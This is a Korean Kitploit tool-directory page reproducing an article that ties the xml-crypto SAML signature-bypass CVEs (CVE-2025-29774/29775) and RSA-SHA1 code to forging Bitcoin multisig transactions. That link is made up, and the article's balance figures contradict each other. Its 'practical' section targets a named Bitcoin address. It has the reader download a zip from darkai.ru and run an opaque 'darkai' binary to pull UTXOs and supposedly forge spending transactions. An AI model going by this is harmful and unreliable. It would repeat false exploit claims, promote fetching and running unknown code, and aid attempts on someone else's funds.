Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Digital-Signature-Forgery-Attack — CVE-2025-29774 취약점과 SIGHASH_SINGLE 버그가 가짜 RawTX로 다중 서명 지갑 운영 방식을 위협하는 방법 | Kitploit
도구/GitHubGitHub/demining/digital-signature-forgery-attack
Vulnerability AnalysisExploitationCryptographyCTFLearning & EducationCurated Resources
GitHubdemining/digital-signature-forgery-attack

Digital-Signature-Forgery-Attack

CVE-2025-29774 취약점과 SIGHASH_SINGLE 버그가 가짜 RawTX로 다중 서명 지갑 운영 방식을 위협하는 방법

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기웹사이트
41년 전아직 검토되지 않음
Digital Signature Forgery Attack: How CVE-2025-29774 Vulnerabilities and the SIGHASH_SINGLE Bug Threaten Multi-Signature Wallet Operational Methods with Fake RawTX

이 글에서는 디지털 서명 위조 공격(Digital Signature Forgery Attack)에 대해 살펴보겠습니다. 이러한 공격의 결과는 비트코인 네트워크에서 트랜잭션의 보안을 위협하는데, 그 이유는 디지털 서명이 암호화폐 전송의 소유권과 승인을 확인하기 때문입니다. 최신 연구와 확인된 취약점을 바탕으로 이러한 공격이 비트코인에 미치는 영향의 사례를 살펴보겠습니다.

디지털 서명 위조 공격(Digital Signature Forgery Attack)은 공격자가 비트코인 네트워크에서 유효한 것으로 인식될 가짜 ECDSA 디지털 서명을 생성하려는 시도입니다. 이 공격은 소유자의 개인 키를 모르고도 트랜잭션을 승인할 수 있게 하여 BTC 코인 보유자의 암호화폐 지갑 내 자금 보안을 위험에 빠뜨립니다.


  • 튜토리얼: https://youtu.be/qbu1m_C1wyA
  • 튜토리얼: https://cryptodeeptech.ru/digital-signature-forgery-attack
  • 튜토리얼: https://dzen.ru/video/watch/68801dfc0c886621f7c1a0db
  • Google Colab: https://colab.research.google.com/drive/1TKrJ0bKsNgc72H9UvzpCnh2YPmRsyPdW

암호학에서 디지털 서명은 메시지나 트랜잭션의 진위를 확인하는 수단을 제공합니다. 서명 위조란 시스템에서 유효한 것으로 받아들여질 "RawTX" 쌍을 생성하는 것이 가능함을 의미하며, 실제로는 개인 키 소유자가 생성한 것이 아닙니다. 이는 사기, 자금 도난, 블록체인 무결성 침해의 길을 열어줍니다. 디지털 서명 위조 공격(DSFA)은 암호화 공격으로서 Node.js 플랫폼에서 XML 문서의 서명을 확인하기 위해 xml-crypto 라이브러리를 사용하는 소프트웨어 구성 요소에서 구현됩니다.


Digital Signature Forgery Attack: How CVE-2025-29774 Vulnerabilities and the SIGHASH_SINGLE Bug Threaten Multi-Signature Wallet Operational Methods with Fake RawTX

https://youtu.be/qbu1m_C1wyA


무엇보다 이는 엔터프라이즈 통합 솔루션, 클라우드 서비스 및 SAML 인증 및 권한 부여를 위해 xml-crypto에 의존하는 IBM App Connect Enterprise Certified Container 및 기타 애플리케이션과 같은 SSO(Single Sign-On, 단일 로그인) 시스템에 영향을 미칩니다. 하드웨어 취약점은 특정 물리적 장치와 관련이 없지만 취약한 라이브러리를 사용하는 소프트웨어 제품에서 구현됩니다.

CVE-2025-29774 및 CVE-2025-29775 취약점은 디지털 서명 위조 공격(Digital Signature Forgery Attack)으로 알려져 있으며,  xml-crypto 소프트웨어 라이브러리  , Node.js 플랫폼에서 XML 문서에 디지털 서명 및 암호화를 위한 라이브러리에서 구현됩니다.


Digital Signature Forgery Attack: How CVE-2025-29774 Vulnerabilities and the SIGHASH_SINGLE Bug Threaten Multi-Signature Wallets Methods of Operations with Fake RawTX보안 게시판: IBM App Connect Enterprise Certified Container 피연산자가 XML 데이터 [CVE-2025-29774] [CVE-2025-29775]에서 서명 검증 우회에 취약함
  • IBM App Connect Enterprise Certified Container  는 XML 문서 서명을 확인하기 위해 xml-crypto를 사용하는 데이터 통합 및 처리 소프트웨어입니다. 이 취약점으로 인해 디지털 서명 검증을 우회할 수 있어 인증 및 권한 부여를 위한 SAML 응답을 포함하여 서명된 메시지를 위조 및 수정할 수 있습니다.
  • 특히 SAML 인증(예: 엔터프라이즈 포털, SSO 시스템, 클라우드 서비스)과 관련하여 서명된 XML 메시지를 확인하기 위해 xml-crypto 라이브러리와 함께 Node.js를 사용하는 시스템 및 애플리케이션.  이 취약점으로 인해 공격자는 서명된 XML 메시지를 수정하여 서명 검증을 통과하도록 할 수 있으며, 이는 인증 및 권한 부여 우회, 권한 상승, 자격 증명 위조로 이어집니다.

Digital Signature Forgery Attack: How CVE-2025-29774 Vulnerabilities and the SIGHASH_SINGLE Bug Threaten Multi-Signature Wallets Methods of Operations with Fake RawTXCVE-2025-29774 및 CVE-2025-29775 (SAMLStorm)에 대한 공개
  • 취약점은 xml-crypto 의 부적절한 암호화 서명 검증, 특히 DigestValue 노드 처리와 관련이 있으며, 공격자가 서명 검증을 깨뜨리지 않고 XML 주석을 삽입할 수 있습니다.
  • 이를 통해 서명된 XML 문서의 중요한 식별 및 액세스 제어 속성을 수정할 수 있으며, 그 결과 자격 증명이나 액세스 권한 없이 보안을 우회할 수 있습니다.

따라서 이 코드는 다양한 체계(RSA with different SHA hashes and HMAC-SHA1)에 대한 암호화 서명 및 서명 검증 알고리즘을 구현하여 데이터의 디지털 서명이 필요한 시스템에 통합할 수 있도록 합니다.


signature-algorithms.ts 코드의 중요 취약점

Digital Signature Forgery Attack: How CVE-2025-29774 Vulnerabilities and the SIGHASH_SINGLE Bug Threaten Multi-Signature Wallets Methods of Operations with Fake RawTX

signature-algorithms.ts 코드 는 데이터의 무결성과 진위성을 보장하는 디지털 서명을 안전하게 생성하고 확인하는 데 사용됩니다. ECDSA 서명은 개인 키를 사용하여 작성자 확인을 제공하고, HMAC는 비밀 키를 사용하여 무결성 및 진위성 확인을 제공합니다. 사용된 알고리즘은 XML 디지털 서명 표준(알고리즘 URI는 W3C 사양을 가리킴)을 준수합니다.


따라서 signature-algorithms.ts 코드는 다양한 체계(ECDSA, RSA with different SHA hashes and HMAC-SHA1)에 대한 암호화 서명 및 서명 검증 알고리즘을 구현하여 데이터의 디지털 서명이 필요한 시스템에 통합할 수 있도록 합니다.


기본 기능

  • 각 클래스는  SignatureAlgorithm 인터페이스를 구현하며 다음과 같은 메서드를 제공합니다:
    • 서명 생성   ( getSignature): 서명 데이터와 개인 키를 받아 base64 형식의 디지털 서명을 반환합니다.
    • 서명 검증   ( verifySignature): 입력, 공개 키 및 서명을 받아 서명이 올바른지 여부를 나타내는 부울 값을 반환합니다.
    • 알고리즘 이름 가져오기   ( getAlgorithmName): 사용된 서명 알고리즘을 식별하는 URI를 반환합니다.

지원되는 알고리즘

  • RsaSha1   – RSA 및 SHA-1 해시 함수를 사용한 서명.
  • RsaSha256   – RSA 및 SHA-256을 사용한 서명.
  • RsaSha512   – RSA 및 SHA-512를 사용한 서명.
  • HmacSha1   – SHA-1 기반 HMAC를 사용한 서명.

기술적 세부 사항

  • RSA 서명의 경우  crypto.createSign 및  crypto.createVerify 클래스를 해당 알고리즘(“RSA-SHA1”, “RSA-SHA256”, “RSA-SHA512”)과 함께 사용합니다.
  • HMAC 서명의 경우  crypto.createHmac 을 “SHA1” 알고리즘과 함께 사용합니다.
  • 서명은 전송 및 저장의 용이성을 위해 base64로 인코딩됩니다.
  • 메서드는  createOptionalCallbackFunction 함수로 래핑되어 있으며, 이 함수는 아마도 콜백과 프로미스 모두와 함께 사용할 수 있도록 합니다(코드에 세부 정보는 없음).

RSA-SHA1 알고리즘의 암호화 서명 사용에는 SHA-1 해시 충돌과 관련된 취약점이 포함되어 있습니다. 이는 공격자가 서명되는 데이터의 일부를 제어할 수 있는 경우 동일한 서명을 가진 두 개의 다른 메시지를 생성할 수 있게 합니다.


특히 문제는 RsaSha1 클래스에 있습니다:

root@kitploit:~
const signer = crypto.createSign("RSA-SHA1");  // 취약한 라인

Digital Signature Forgery Attack: How CVE-2025-29774 Vulnerabilities and the SIGHASH_SINGLE Bug Threaten Multi-Signature Wallets Methods of Operations with Fake RawTXsignature-algorithms.ts#L7

또한 두 번째 취약점은 RsaSha1 클래스에 있습니다:

root@kitploit:~
const verifier = crypto.createVerify("RSA-SHA1");  // 취약한 라인

Digital Signature Forgery Attack: How CVE-2025-29774 Vulnerabilities and the SIGHASH_SINGLE Bug Threaten Multi-Signature Wallets Methods of Operations with Fake RawTXsignature-algorithms.ts#L17

왜 이 중요한 충돌 공격이 동일한 해시를 가진 다른 데이터를 생성할 수 있게 합니까?

  1. SHA-1 충돌 : SHA-1 알고리즘은 더 이상 안전한 것으로 간주되지 않습니다.
  2. RSA 컨텍스트 : RSA와 결합하면 신뢰할 수 없는 데이터(예: 인증서 또는 문서)에 대한 위조 서명으로 이어질 수 있습니다.
  3. 권장 사항 : NIST 및 보안 커뮤니티는 SHA-1 대신 SHA-256/SHA-512를 사용할 것을 권장합니다.

추가 참고 사항:

  • (HMAC-SHA1) 클래스 HmacSha1는 덜 취약하지만 역시 구식입니다. HMAC는 "네이키드" SHA-1보다 충돌에 더 강하지만 SHA-256으로 전환하는 것이 바람직합니다.
  • 코드에는 RsaSha1 대신 사용해야 하는 최신 구현(RsaSha256/RsaSha512)이 포함되어 있습니다.

Digital Signature Forgery Attack: How CVE-2025-29774 Vulnerabilities and the SIGHASH_SINGLE Bug Threaten Multi-Signature Wallets Methods of Operations with Fake RawTX

CVE-2025-29774 및 CVE-2025-29775는 XML 문서의 디지털 서명 확인 부적절과 관련된 Node.js용 xml-crypto 라이브러리의 중요한 취약점입니다. 두 취약점 모두 공격자가 서명된 XML 메시지를 수정하여 서명 확인에 감지되지 않도록 할 수 있습니다.


디지털 서명 위조 공격 메커니즘

1. RSA-SHA1 알고리즘의 취약점

제공된 코드에서 RsaSha1 클래스는 서명 및 확인을 위해 레거시 RSA-SHA1 알고리즘을 사용합니다:

root@kitploit:~
const signer = crypto.createSign("RSA-SHA1");  // 취약한 라인 №7
const verifier = crypto.createVerify("RSA-SHA1");  // 취약한 라인 №17

SHA1은 암호학적으로 안전하지 않은 것으로 간주되며, 주요 문제는 XML 구조를 처리하는 라이브러리의 로직 에 있습니다:

  • 서명을 생성할 때 XML 문서는 정규화 단계(공백 및 주석 제거와 같은 표준 형식으로 변환)를 거칩니다.
  • 서명을 확인할 때 라이브러리는 문서의 정규화된 버전과 정규화되지 않은 버전 간의 차이를 고려하지 않습니다 . 이는 공격자가 서명을 깨뜨리지 않고 문서(예: 주석 추가 또는 구조 변경)를 수정할 수 있게 합니다.

2. 작동 예시

  1. SignedInfo 수정 :
    • 공격자는 XML 문서에 추가 <SignedInfo> 노드를 추가 하여 확인 중에 잘못된 해시 계산이 발생하도록 합니다.
    xml<Signature> <SignedInfo>...</SignedInfo> <!-- 원래 노드 --> <SignedInfo>...</SignedInfo> <!-- 공격자가 추가 --> </Signature>
  2. 약한 알고리즘 사용 :
    • SHA1 알고리즘은 충돌에 취약하여 수정된 문서에 대한 가짜 서명을 쉽게 생성할 수 있습니다.

3. 결과

  • 인증 우회 : SAML 토큰 또는 기타 액세스 관련 XML 문서의 속성 수정.
  • 권한 상승 : 권한 부여 시스템에서 사용자 ID를 관리자 ID로 대체.
  • 대규모 공격 : 취약점은 사용자 상호 작용 없이 원격으로 악용될 수 있습니다(CVSS 9.3).

디지털 서명 위조 공격: CVE-2025-29774 취약점과 SIGHASH_SINGLE 버그가 다중 서명 지갑을 위협하는 방법 - Fake RawTX를 이용한 운영 방식

취약점의 기술적 세부 사항:

CVE-2025-29774

  • 문제: 서명 검증 시 XML 문서 구조의 검증 부족.
  • 악용: 문서의 서명된 부분에 추가 노드나 속성 삽입.

CVE-2025-29775

  • 이슈: 해시 계산 시 정규화 컨텍스트의 잘못된 사용.
  • 악용: 서명 후 정규화되지 않은 형태로 문서 수정.

문제 해결 권장 사항

  1. 라이브러리 업데이트:
    • 2.x → 2.1.6, 3.x → 3.2.1, 6.x → 6.0.1 버전.
  2. 알고리즘 교체: typescript // Usage SHA-256 / SHA-1 const signer = crypto.createSign("RSA-SHA256");
  3. XML 구조 검증:
    • 서명에 정확히 하나의 <SignedInfo> 노드가 있는지 확인.

이러한 취약점을 해결하는 것은 XML 서명을 인증에 사용하는 시스템(예: SAML, SOAP)에 매우 중요합니다.


디지털 서명 위조 공격: CVE-2025-29774 취약점과 SIGHASH_SINGLE 버그가 다중 서명 지갑을 위협하는 방법 - Fake RawTX를 이용한 운영 방식

xml-crypto 라이브러리는 XML 메시지(예: SAML, SOAP 등 프로토콜 포함)에서 디지털 서명을 검증하는 데 널리 사용됩니다. 따라서 이 취약점은 잠재적으로 다음에 영향을 미칩니다:

  • XML 서명에 xml-crypto를 사용하는 소프트웨어 및 서비스(엔터프라이즈 통합 플랫폼 및 미들웨어(예: IBM App Connect Enterprise, 이 취약점이 보고된 곳) 포함).
  • SAML을 지원하는 서버 및 게이트웨이를 포함하여 XML 서명을 인증 및 권한 부여에 사용하는 장치 및 시스템.

  • CVE-2025-29774 및 CVE-2025-29775 취약점은 주로 XML 서명 처리를 위해 xml-crypto 라이브러리를 사용하는 소프트웨어 구성 요소 및 플랫폼에 영향을 미칩니다.
  • 알려진 피해자로는 IBM App Connect Enterprise와 xml-crypto를 사용하는 다른 Node.js 기반 엔터프라이즈 솔루션이 있습니다.
  • 현재 이러한 공격에 영향을 받는 특정 하드웨어 장치 브랜드에 대한 공개 데이터는 없습니다.

특정 장치의 위험을 평가하려면 취약한 버전의 xml-crypto를 사용하는지 또는 유사한 XML 서명 메커니즘에 의존하는지 확인하는 것이 좋습니다. Node.js 기반 암호화폐 지갑 작업을 위해 IBM은 별도의 솔루션(예: IBM Secure Bitcoin Wallet)을 제공합니다. 이는 Electrum Bitcoin Client를 기반으로 한 애플리케이션으로, Node.js를 사용하여 비트코인 네트워크와 상호 작용하고 지갑을 관리합니다.

이 솔루션에서 개인 키와 지갑은 IBM Cloud Hyper Protect Crypto Services(zHSM)를 사용하여 저장 및 암호화될 수 있으며, 이는 하드웨어 기반의 안전한 키 스토리지를 제공합니다. 비트코인 지갑의 개인 키 생성은 일반적으로 Electrum, bitcoinjs-lib 등과 같은 특수 암호화 라이브러리에서 구현되며, Node.js 애플리케이션에 통합될 수 있습니다. IBM Secure Bitcoin Wallet은 IBM Cloud Hyper Protect Crypto Services와의 통합을 통해 키 및 트랜잭션 관리를 위해 Node.js에서 수정된 Electrum 백엔드를 사용하며, 이는 하드웨어 암호화 및 개인 키의 안전한 저장을 제공합니다.


실습 부분

CVE-2025-29775 취약점 이론에 따르면, 공격자는 업데이트되지 않은 xml-crypto 라이브러리를 처리하여 잘못된 트랜잭션 값을 생성할 수 있습니다. 이제 기사의 실습 부분으로 넘어가서 비트코인 지갑 예시를 살펴보겠습니다: 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe. 이 지갑에는 2025년 7월 기준 0.059672 BTC의 손실된 코인이 있었으며, 이 금액은 7,052 USD입니다.


디지털 서명 위조 공격: CVE-2025-29774 취약점과 SIGHASH_SINGLE 버그가 다중 서명 지갑을 위협하는 방법 - Fake RawTX를 이용한 운영 방식791fe035d312dcf9196b48649a5c9a027198f623c0a5f5bd4cc311b8864dd0cf

Raw transaction 형식을 살펴보겠습니다. 이는 트랜잭션에 대한 모든 정보를 포함하는 바이너리 및 16진수 데이터입니다. 저수준에서 트랜잭션을 전송, 검증 또는 생성하는 데 필요하며, 전체 비트코인 네트워크 작동의 기초입니다. 일반 사용자는 Raw transactions을 직접 접하는 경우가 거의 없지만, 개발자와 암호화폐 애호가에게는 비트코인 네트워크의 모든 트랜잭션을 완전히 제어하기 위한 주요 도구입니다.


디지털 서명 위조 공격: CVE-2025-29774 취약점과 SIGHASH_SINGLE 버그가 다중 서명 지갑을 위협하는 방법 - Fake RawTX를 이용한 운영 방식Raw Transaction

비트코인 네트워크에서 UTXO 객체를 완전히 반환하기 위해 Dark AI 도구를 사용합니다. UTXO는 블록체인의 데이터 구조에서 주요 부분이며, 개인 키(이 비트코인 주소를 제어하는) 보유자가 사용할 수 있는 BTC 코인의 양을 나타냅니다. 각 UTXO는 특정 과거 트랜잭션의 출력으로, 이후 트랜잭션에서 입력으로 사용된 적이 없습니다.

디지털 서명 위조 공격: CVE-2025-29774 취약점과 SIGHASH_SINGLE 버그가 다중 서명 지갑을 위협하는 방법 - Fake RawTX를 이용한 운영 방식

Google Colab

개인 키 디버그: 개인 키의 잘못된 생성, 시스템 취약점 및 타원 곡선 secp256k1의 차수 계산 오류가 비트코인 생태계에 미치는 위협

https://colab.research.google.com/drive/1TKrJ0bKsNgc72H9UvzpCnh2YPmRsyPdW


1. Dark AI 도구 다운로드 및 설치

모든 터미널 명령어 및 작업에 대한 상세 설명

명령어:

root@kitploit:~
!wget https://darkai.ru/repositories/neuralnet_tools.zip
  • wget— HTTP, HTTPS 및 FTP 프로토콜을 통해 네트워크에서 파일을 다운로드하기 위한 명령줄 유틸리티입니다.
  • URL을 지정하여 neuralnet_tools.zip 아카이브를 다운로드합니다.
  • unzip— 현재 디렉터리에서 ZIP 아카이브를 추출하는 명령입니다.

이 명령은 neuralnet_tools.zip에서 모든 파일을 추출합니다.

root@kitploit:~
!unzip neuralnet_tools.zip

디지털 서명 위조 공격: CVE-2025-29774 취약점과 SIGHASH_SINGLE 버그가 다중 서명 지갑을 위협하는 방법 - Fake RawTX를 이용한 운영 방식

빠르고 쉬운 보기를 위해 ls 명령을 실행합니다.

ls


디지털 서명 위조 공격: CVE-2025-29774 취약점과 SIGHASH_SINGLE 버그가 다중 서명 지갑을 위협하는 방법 - Fake RawTX를 이용한 운영 방식

2. Dark AI 도구 실행

root@kitploit:~
!./darkai
디지털 서명 위조 공격: CVE-2025-29774 취약점과 SIGHASH_SINGLE 버그가 다중 서명 지갑을 위협하는 방법 - Fake RawTX를 이용한 운영 방식

지정된 비트코인 주소에 대한 소위 미사용 트랜잭션 출력 (UTXO, 해석: Unspent Transaction Output) 정보를 가져오는 명령을 실행합니다. 이 정보는 주소 잔액 평가 및 새 트랜잭션 가능성을 평가하는 데 중요합니다.

root@kitploit:~
!./darkai -bitcoinaddress 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe

결과적으로 두 개의 UTXO 객체가 반환되었습니다:

root@kitploit:~
[
{'output': '8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd:0', 'value': 677200},
{'output': 'bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786:0', 'value': 5000000}
]

각 UTXO는 다음을 포함합니다:

  • output— 출력 식별자. 형식: <txid>:<n>. 여기서 <txid>는 고유한 트랜잭션 해시이고, <n>은 이 트랜잭션의 출력 목록에서 출력 번호입니다.
  • value— 사토시 단위의 금액 (1 비트코인 = 100,000,000 사토시).

데이터 해석:

  1. 첫 번째 UTXO
    • 출력: 8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd:0
    • 금액: 677,200 사토시
  2. 두 번째 UTXO
    • 출력: bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786:0
    • 금액: 5,000,000 사토시

전체 잔액

주소의 총 사용 가능 잔액은 발견된 모든 UTXO의 합계와 같습니다:

  • 677,200 + 5,000,000 = 5,677,200 사토시
  • 비트코인으로 환산: 5,677,200 / 100,000,000 = 0.05677200 BTC
디지털 서명 위조 공격: CVE-2025-29774 취약점과 SIGHASH_SINGLE 버그가 다중 서명 지갑을 위협하는 방법 - Fake RawTX를 이용한 운영 방식

Dark AI를 이용한 기술 해석

해석 프로세스를 사용하여 업데이트되지 않은 xml-crypto 라이브러리를 처리하여 잘못된 트랜잭션 값을 생성하고 큰 금액을 보냅니다. Dark AI 알고리즘은 어떤 UTXO를 사용할지(또는 둘을 결합할지) 선택합니다.

  • 자금 전송: 새 트랜잭션을 구성할 때 지정된 모든 UTXO를 입력으로 사용할 수 있으므로 잔액의 전부 또는 일부를 사용할 수 있습니다.
  • 투명성: 이 보고서는 해당 주소에 실제 비트코인 자금이 포함되어 있음을 확인하며, 신뢰성과 지급 능력을 확인하는 데 사용할 수 있습니다.

비트코인 주소 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe에는 총 0.05677200 BTC의 두 개의 활성 UTXO가 있습니다. 이 자금은 새 트랜잭션을 만드는 데 사용할 수 있으며, 두 출력 모두 확인되었고 사용되지 않은 것으로 간주됩니다.


디지털 서명 위조 공격: CVE-2025-29774 취약점과 SIGHASH_SINGLE 버그가 다중 서명 지갑을 위협하는 방법 - Fake RawTX를 이용한 운영 방식

비트코인 트랜잭션 역직렬화

비트코인 트랜잭션의 출력에 대한 정보 조각을 얻으려면 다음 명령을 사용하세요. 여기서 트랜잭션의 첫 번째 출력( outs)은 고유 식별자 8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd를 가집니다.


root@kitploit:~
!./darkai -deserialize 8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd

역직렬화 결과 응답의 구조를 얻습니다:

root@kitploit:~
{'value': 677200, 'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'}
  • value: 677200 — 이 출력의 금액은 사토시 단위로 표시됩니다 (1 BTC = 100,000,000 사토시).
  • script: a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287 — 이 출력을 사용하기 위한 조건을 정의하는 스크립트입니다.

요소에 대한 상세 설명: Value 필드

  • Value: 677,200 사토시.
  • 이 금액은 스크립트 조건이 충족되면 해당 트랜잭션을 생성할 때 사용할 수 있습니다.
  • 환산: 677,200/100,000,000 = 0.00677200 BTC.
Digital Signature Forgery Attack: How CVE-2025-29774 Vulnerabilities and the SIGHASH_SINGLE Bug Threaten Multi-Signature Wallets Methods of Operations with Fake RawTX

요소에 대한 상세 설명: Script 필드

  • Script 의미: a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287
  • 이는 "scriptPubKey" 유형의 스크립트입니다. 트랜잭션 출력 구조의 일부로, 누가 이 자금을 사용할 수 있는지 지정합니다. 가장 중요한 목적은 자금 처분에 대한 보안과 제어를 보장하는 것입니다.

스크립트 디코딩

  • 스크립트는 접두사 a914...87로 시작하며, 이는 P2SH (Pay to Script Hash) 형식에 해당합니다:
    • a9— OP_HASH160 (해시 연산자)
    • 14— 다음 값의 길이 (20바이트 = 40개 16진수 문자)
    • 06612b7cb2027e80ec340f9e02ffe4a9a59ba762— 비트코인 지갑 주소 자체의 hash160으로, BTC 코인이 저장된 곳입니다.
    • 87— OP_EQUAL (두 데이터 조각을 비교하여 일치 여부를 확인하는 기본 비트코인 스크립트 명령 연산자)
  • 이는 수신자가 해시가 제공된 값과 일치하는 스크립트를 제공하고 해당 스크립트에 대한 유효한 서명을 제공해야만 자금을 사용할 수 있음을 의미합니다.

결과의 실질적 의미

  • 지정된 트랜잭션의 이 출력은 P2SH 유형 스크립트로 보호되는 677,200 사토시(0.00677200 BTC)를 포함합니다.
  • 이러한 출력에서 자금을 사용하려면 원래 스크립트를 알고 올바른 서명을 제시해야 합니다. 이는 다중 서명 지갑, 스마트 계약 및 기타 고급 보안 체계에서 일반적인 상황입니다.
  • 이 정보는 트랜잭션 구조 분석, 자금 목적 확인 및 이후 사용 요구 사항 이해에 중요합니다.

식별자로 트랜잭션 역직렬화

식별자 8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd로 트랜잭션을 역직렬화한 결과, 첫 번째 출력이 얻어졌으며, 여기에는 677,200 사토시 (0.00677200 BTC)가 포함되어 있고 P2SH 스크립트로 보호됩니다. 이 자금을 관리하려면 대상 스크립트를 제시하고 지정된 해시 조건을 충족하는 잠금 해제 트랜잭션을 올바르게 서명해야 합니다.


Digital Signature Forgery Attack: How CVE-2025-29774 Vulnerabilities and the SIGHASH_SINGLE Bug Threaten Multi-Signature Wallets Methods of Operations with Fake RawTX

두 번째 비트코인 트랜잭션 역직렬화

비트코인 트랜잭션의 원본 데이터( output) 출력에 대한 정보 조각을 얻으려면 다음 명령을 적용하세요. 여기서 고유 식별자 bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786를 가진 트랜잭션의 첫 번째 출력( outs)입니다.

root@kitploit:~
!./darkai -deserialize bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786

Dark AI를 사용한 해석 과정에서 역직렬화 함수를 통해, 식별자가
bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786인 두 번째 트랜잭션의 첫 번째 출력 요소( output) 구조에 대한 정보를 얻습니다.



결과:

root@kitploit:~
{'value': 5000000, 'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'}

1. 요소에 대한 상세 설명:  Value 필드

  • 내용: 5000000
  • 이 값은 사토시로 표시됩니다, 비트코인의 가장 작은 불가분 단위입니다; 1 BTC = 100,000,000 사토시.
  • 목적:
    이 금액은 배열 요소 'outs'에 지정된 특정 트랜잭션 출력과 연결됩니다. 필드에 정의된 스크립트에 작성된 조건이 충족되는 경우에만 사용할 수 있습니다 'script'.
  • 비트코인 변환: 5,000,000 사토시 = 0.05 BTC
Digital Signature Forgery Attack: How CVE-2025-29774 Vulnerabilities and the SIGHASH_SINGLE Bug Threaten Multi-Signature Wallets Methods of Operations with Fake RawTX

2. 요소에 대한 상세 설명:  Script 필드

  • 내용: 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'
  • 이는 소위 잠금 스크립트 또는 scriptPubKey라고 불리는 것으로, 이 출력을 사용할 수 있는 조건을 지정하는 스크립트입니다.

스크립트 디코딩

지정된 값은 비트코인 네트워크의 표준 스크립트 유형에 해당합니다:

  • a9— 연산 코드 OP_HASH160 (다음 라인에서 SHA-256에서 RIPEMD-160을 생성).
  • 14— 후속 필드의 길이: 20바이트 (40개의 16진수 문자).
  • 06612b7cb2027e80ec340f9e02ffe4a9a59ba762— 비트코인 지갑 주소나 스크립트를 식별하는 20바이트 해시입니다.
  • 87— 연산 코드 OP_EQUAL.

종합하면, 이 항목은 P2SH 주소(Pay-to-Script-Hash)를 의미합니다. 이 경우 자금은 특정 스크립트 조합에 할당되며, 이를 인출하려면 여기에 기록된 해시가 있는 스크립트를 공개하고 이 스크립트의 조건을 충족하는 서명(또는 기타 데이터)을 제시해야 합니다.


이 체계의 가장 일반적인 용도는 다중 서명, 단순 및 복잡한 스마트 계약, 양자 다중 서명, 조건부 보안 체계 및 기타 고급 시나리오입니다.


3. 결과의 실질적 의미, 자금의 규모와 목적.

  1. 해당 트랜잭션(해시 bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786)에는 해시 06612b7cb2027e80ec340f9e02ffe4a9a59ba762에 해당하는 P2SH 주소에 0.05 BTC (5,000,000 사토시)가 "잠겨" 있는 출력이 있습니다.
  2. 사용 조건:
    이 자금을 사용하려면 사용 트랜잭션을 구성할 때 직접 전송처럼 표준 서명만 제시하는 것이 아니라, 이 출력에 포함된 해시 스크립트 자체와 스크립트 조건에 해당하는 데이터 (예: 디지털 서명 집합)도 제시해야 합니다.
  3. 보안 및 유연성:
    이 방법은 일반 비트코인 주소로 직접 보내는 것보다 더 복잡한 로직을 구현할 수 있게 해줍니다.

4. P2SH를 지원하는 다양한 서비스 및 지갑과의 호환성 수준에서 출력 등록.

  • 트랜잭션 ID
    bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786
    에는 해시가
    06612b7cb2027e80ec340f9e02ffe4a9a59ba762인 P2SH 스크립트(Pay-to-Script-Hash)에 0.05 BTC (5,000,000 사토시)가 할당된 출력이 포함되어 있습니다.
  • 이 자금을 사용하려면 원래 스크립트를 공개하고 그 조건을 충족해야 합니다(예: 다중 서명의 모든 서명 제시).

따라서 역직렬화 결과는 조건부(P2SH) 주소에 일정량의 비트코인이 존재함을 알리고, 사용에 대한 엄격한 규칙을 정의하며, 이는 비트코인 네트워크에서 자금 관리 및 회계에 핵심적인 역할을 합니다.


Digital Signature Forgery Attack: How CVE-2025-29774 Vulnerabilities and the SIGHASH_SINGLE Bug Threaten Multi-Signature Wallets Methods of Operations with Fake RawTX

비트코인 네트워크의 P2SH (Pay-to-Script-Hash) 잠금 스크립트. 이 스크립트는 무엇을 의미하나요?

스크립트 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'는 이 트랜잭션 출력에서 선택되어 사용됩니다. 이는 비트코인 네트워크의 일반적인 P2SH (Pay-to-Script-Hash) 잠금 스크립트를 나타내기 때문입니다.


조각별로 살펴보겠습니다:

  • a9— OP_HASH160: 후속 데이터에 SHA-256을 먼저 적용한 다음 RIPEMD-160을 적용하는 해싱 연산입니다.
  • 14— 해시 길이는 20바이트입니다 (16진수 형식).
  • 06612b7cb2027e80ec340f9e02ffe4a9a59ba762— 스크립트의 20바이트 해시로, 스크립트 해시로 알려져 있습니다.
  • 87— OP_EQUAL: 스택에 있는 두 값의 동등성을 확인하는 연산자입니다.

따라서 이 스크립트는 사용 시점(자금 사용)에 해시가 06612b7cb2027e80ec340f9e02ffe4a9a59ba762와 일치하는 스크립트를 제시하고, 해당 스크립트의 조건이 충족되어야 함을 요구합니다.


왜 이 특정 스크립트가 선택되었나요?

